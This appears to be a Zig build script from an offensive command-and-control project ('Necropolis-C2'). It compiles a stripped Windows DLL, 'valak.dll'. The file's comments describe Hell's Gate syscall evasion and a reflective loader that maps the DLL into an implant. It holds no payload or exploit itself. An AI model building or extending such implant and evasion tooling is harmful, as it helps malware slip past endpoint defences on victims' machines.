Files
Necropolis-C2/evasion/build.zig
T
2026-07-07 04:50:23 +01:00

39 lines
1.3 KiB
Zig

// 1. Target config — x86_64-windows-gnu, optimised+stripped (unless Debug).
// 2. Single-threaded — no TLS, Zig runtime stays minimal.
// 3. Assembly: arch/hells_gate.s — Hell's Gate SSN encryption + Hell Descent arg dispatch.
// 4. Link system DLLs: kernel32, ntdll, advapi32, crypt32 (Go handles the rest via manual map).
// 5. Output: valak.dll — Go's reflective loader copies this from zig-out/bin/ to implant/core/.
const std = @import("std");
pub fn build(b: *std.Build) void {
const target = b.standardTargetOptions(.{ .default_target = .{
.cpu_arch = .x86_64,
.os_tag = .windows,
.abi = .gnu,
} });
const optimize = b.standardOptimizeOption(.{});
const strip = optimize != .Debug;
const module = b.createModule(.{
.root_source_file = b.path("main.zig"),
.target = target,
.optimize = optimize,
.strip = strip,
.single_threaded = true,
});
module.addAssemblyFile(b.path("arch/hells_gate.s"));
module.linkSystemLibrary("kernel32", .{});
module.linkSystemLibrary("ntdll", .{});
module.linkSystemLibrary("advapi32", .{});
module.linkSystemLibrary("crypt32", .{});
const lib = b.addLibrary(.{
.name = "valak",
.root_module = module,
.linkage = .dynamic,
});
lib.subsystem = .Windows;
b.installArtifact(lib);
}